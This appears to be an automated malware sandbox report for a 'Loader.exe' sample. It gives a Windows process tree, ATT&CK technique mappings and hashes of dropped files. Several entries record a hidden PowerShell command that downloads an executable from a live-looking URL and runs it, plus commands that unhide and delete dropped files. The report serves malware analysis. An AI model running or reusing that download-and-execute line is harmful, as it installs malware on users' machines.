  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6120,i,15374591174342084282,5273060456047463139,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5472 /prefetch:8
  2⤵
  PID:1368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6184,i,16058781740973027941,5597136441036079899,524288 --field-trial-handle=2160,i,5541630858974225077,7991633232195482767,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6112 /prefetch:8
  2⤵
  PID:3412
- C:\Users\Admin\Downloads\Loader.exe
  "C:\Users\Admin\Downloads\Loader.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6064
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6044

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5224

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3552

C:\Windows\system32\runtimebroker.exe
"C:\Windows\system32\runtimebroker.exe"
1⤵
PID:4712

C:\Users\Admin\Downloads\Loader.exe
"C:\Users\Admin\Downloads\Loader.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -s -h "C:\Windows\INF\calerax.dll" > NUL 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\system32\attrib.exe
    attrib -s -h "C:\Windows\INF\calerax.dll"
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:4268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del "C:\Windows\INF\calerax.dll" > NUL 2>&1
  2⤵
  PID:4332

C:\Users\Admin\Desktop\Loader.exe
"C:\Users\Admin\Desktop\Loader.exe"
1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK661956.exe; Start-Process -FilePath $env:TEMP\BK661956.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp\Gothic.bin" > NUL 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\attrib.exe
    attrib -s -h -r "C:\Users\Admin\AppData\Local\Temp\Gothic.bin"
    3⤵
    - Views/modifies file attributes
    PID:5644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f "C:\Users\Admin\AppData\Local\Temp\Gothic.bin" > NUL 2>&1
  2⤵
  PID:5228

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1992 -prefsLen 27100 -prefMapHandle 1996 -prefMapSize 270279 -ipcHandle 2060 -initialChannelId {8e343e26-a91b-4741-ada4-85ba8a8b8926} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:4664
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2448 -prefsLen 27136 -prefMapHandle 2452 -prefMapSize 270279 -ipcHandle 2460 -initialChannelId {3ea9d20b-d633-47c7-8199-bc5259d05c05} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    - Checks processor information in registry
    PID:3852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3876 -prefsLen 27277 -prefMapHandle 3880 -prefMapSize 270279 -jsInitHandle 3884 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3892 -initialChannelId {148d4231-1a25-4a76-8980-7773e9aad462} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:5808
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4040 -prefsLen 27277 -prefMapHandle 4044 -prefMapSize 270279 -ipcHandle 4060 -initialChannelId {90dba91d-581c-498d-b239-71036bec4810} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:880
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3064 -prefsLen 34776 -prefMapHandle 4404 -prefMapSize 270279 -jsInitHandle 4408 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3012 -initialChannelId {94867e17-7bf2-4786-b834-46524d6d346d} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:1528
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5076 -prefsLen 35013 -prefMapHandle 5072 -prefMapSize 270279 -ipcHandle 5064 -initialChannelId {5480543f-d494-4079-977c-74c73a99fb34} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:5600
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5284 -prefsLen 32900 -prefMapHandle 5288 -prefMapSize 270279 -jsInitHandle 5292 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5300 -initialChannelId {b78302d2-36e6-4137-97a8-38a618986bf8} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:5180
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5444 -prefsLen 32900 -prefMapHandle 5500 -prefMapSize 270279 -jsInitHandle 5504 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5512 -initialChannelId {92e952bb-2950-4a6f-912a-bb67850660b7} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:5812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5704 -prefsLen 32900 -prefMapHandle 5708 -prefMapSize 270279 -jsInitHandle 5712 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5528 -initialChannelId {e3487ce4-c348-46b7-b70f-66985a197cbb} -parentPid 540 -crashReporter "\\.\pipe\gecko-crash-server-pipe.540" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:652

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffe07f2c728,0x7ffe07f2c734,0x7ffe07f2c740
  2⤵
  PID:4852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2052,i,8261971126984321322,14034774788399981621,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2056 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1696,i,14281962329906434452,5182217385269937888,262144 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1996 /prefetch:2
  2⤵
  PID:5464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,5575163330514244973,14909723988561269683,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2556 /prefetch:8
  2⤵
  PID:380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3236,i,7723758049680614041,1924610264147698935,2097152 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3248 /prefetch:1
  2⤵
  PID:1908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3272,i,9763861827610750161,665651124662551134,2097152 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:1660
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4516,i,1097224022470489917,633986577224999170,2097152 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4552 /prefetch:1
  2⤵
  PID:3192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5236,i,14912420836843334890,18314831225740808187,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5240 /prefetch:8
  2⤵
  PID:1728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5552,i,15206193036785448696,16134441329829594516,2097152 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5296 /prefetch:1
  2⤵
  PID:5772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3224,i,6093824723544305775,8984753128771323160,2097152 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:5904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5520,i,9034924154677172948,16098197645761733806,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5696 /prefetch:8
  2⤵
  PID:4744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5644,i,14421150800780062735,9203153586007953816,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5564 /prefetch:8
  2⤵
  PID:3784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,4340896165006316723,3119897236951882684,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5368 /prefetch:8
  2⤵
  PID:4524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5252,i,14149931297595023569,14572790667047020621,262144 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5460 /prefetch:8
  2⤵
  PID:4756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4680,i,6938044411012003481,5874216966057805870,524288 --field-trial-handle=2000,i,11540730088846431676,17121874082663168853,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1308 /prefetch:8
  2⤵
  PID:2032

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma
Size 1024KB
SHA256 ae1bddb9e2cc97b0c9cd78ef3cd17553be6e5204677bd67e0b8f7fa27007f189
MD5 b0366599d64b0fc1adb2a712dcd02ee1
SHA1 b7a1c09ccd2846664cab5f76bd80b8e9f107acb0
SHA512 d7de6d48285018f8b709c81ca01688126db7893ce9f48829524ee3122aa6f2200c7f78186b5a558d0b1ecf8157ee78a20064b63b45ab89f7aa0835b8409435d0
SSDEEP 12:bHCsEXhVMMBKEKSCemJKlkQyYVhYJ0I+pPK6BsyW1inP6:biPROMMBS+MkIYWIE1BtXP
TLSH
T117252786A30815EFC54288B589AE03602374F9E55F52079B2E2DAA1F2E271D80F45164
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 a641b98d68794f95d317ca6dc1af60b4dd395a2816c96bde2ddc239a41533d79
MD5 f0cb2ade6744d899ad43e9050a406374
SHA1 76e89051b10bef7e541fb30e386f63811ac30140
SHA512 31a25342f60739c749cdf35197bbed086f9661387161bcffe76ae16509952c077ba308bd7708b466fcb07cf45cdba30770e87232feaacb7a9cb2138233f2e59b
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 f1361acacc55fc3d167601563607d3af8a047a761030d08555e4bfa5d868c1c9
MD5 c872844010900ead864d4c0d4d1a6b5a
SHA1 3f3b85763e19133f3d8c5361d7b3b51fcfcedfc4
SHA512 41dc97b73d69cf333af5d16ee470d2bb708b2ec859537de1b27936479489e75d2c3c8a0cee872936b70172d326689bd42c2c77f7989d413b3df4a93c4fc3b009
TLSH
T132E02B66C861DC270DFD079D60664346E75123172B40445F373C42098FB47774246C5C
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
Size 1KB
SHA256 4892884e01f264110b0e0f9b4ff16ba9516db701585f83e1189f23e5c62dce20
MD5 7d4a2c89a0ca6f30eb9129a58175438f
SHA1 1b2419e71a3a0373cf29afd4cd2246435af93403
SHA512 cccae7bbc06d27a2438844d63225357f2d64df57e81142586c5323c842c01d5e2dbb563db663d6a8f6cd37a75f8439b353e42db259374fc60cb3dd4535112b3d
TLSH
T10E210F265AC69663FF620532ADDC9AF131365D0301870E2301E8B7B71E277A588C72F8
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 696B
SHA256 b1f2793c7e85cfe9d1d39d620d5ecf0b84c03508b432067b69a8320e637b2ef6
MD5 7d31fcbd8e4b65f3cdb0ea30ab2009ad
SHA1 f9ce6bbf815db900825a768621f1a53941ae102a
SHA512 fd8a543e1dd33b259e180730194ad993979dd666b4e8d7a61ea78e9e51cd565e9b0b30d18537f7d6198913fa4107bd56eade300723f9b411b9b01d61e9b949a1
TLSH
T17B015D6280C6A0D3F3502A389ECCEAE030BA6A20010B0E2260C5B2F7242338400C33F9
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnWebGPUCache\data_1
Size 264KB
SHA256 5b9fc45a96f4d7783519b5a3c6edadcbac82cf98508b35a11462fecd7ee56eda
MD5 bca7e8b835968788594e9da67e42c10e
SHA1 e57f6ce9115005ac85c48e933ac1312e572c93b6
SHA512 30112e06745ace1ffc0543664eda836da424f641aed2268faf45f79eda80dca053d34a657f64b3224dd300c5cdd8c1610b7821b91f5decb1b831f3fd9b6f064b
SSDEEP 3:MsEllllkEthXllkl2zEklbol/:/M/xT02znb4/
MD5 SHA1 SHA512 SSDEEP

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons
Size 20KB
SHA256 2fca9ea50685babeaddd8a7bb2a7ffc0b5bd60154d2cdc51d915b8a2437c891c
MD5 975c005679b1398c7fdc7791c621113b
SHA1 b48b3b81978cb8dc5ed79d7be7e86f812d936e1d
SHA512 a33280e96e99146b41c08ceb0101853cec5bf5be9f5d57a8aef5cd6084ff3352e07cd0ee2d8cefea4e9b16ea6ac542a0a49d7c1ddf815af2435ce728dd33b90f
SSDEEP 48:deBmw6P1U1kmBLgntxMyXPTOrc2JFiZwYSXtNHpIyW565:deBCP7GLytyyXPTOrcKiZwYSX9It565
TLSH
T16092B44BAE383863C7652DBF2AAF5435DD3AD11C5FA2CC943870805249F8196C4768FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 8f8014294e4aef0210091a3f0f315743f3d4b7331f62768fd2fea6ab0ca325dc
MD5 2b6241991f541d342b770f211e0ca500
SHA1 7f5a5c77f8ede8fe2e5c084bb9c260448dda070d
SHA512 69f75660cd8176dd04a4e02251ec48f04833e514d584450ab61263da3c3e804727ebd15a849f772468a90feb7de9d97a645e4f66d6d4bd0e740ceffcb07f30b3
SSDEEP 96:ZfmhYVQ/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0EzV:Z32/tH+bF+UI3iWGVYWNkqp3VV
TLSH
T10EF31D5E5F243212CDBD917768E649F3587DF03F8B236A856C6104B5CEE2A52A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Size 2KB
SHA256 42f1dea1bddb60f35a15d74edaf07f7074f622116a1e4453737c9f384e7a4ac9
MD5 fe3adc2c6896d6dde45c8bdca4d80b69
SHA1 e6dfa66ff3ff9907e7b94aeac23cad77603929ef
SHA512 1e0b09832491de9466350d4e651a339c9b494f72667b9610b839142fa1a03048f144adb1bdfd13373a3d31bfc5d0c6e54a55801d5e6fe826b3cf7d9546055838
TLSH
T14941F77B125468FDBF48E6D9551F59B51C0E201B8AC1B9E8CD1BAD0D84CE22833845D2
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Size 332B
SHA256 c3fbe66b92367149b1fbeacabe80d673c1123ff9c9ac9d7fd2d896487d7cebe4
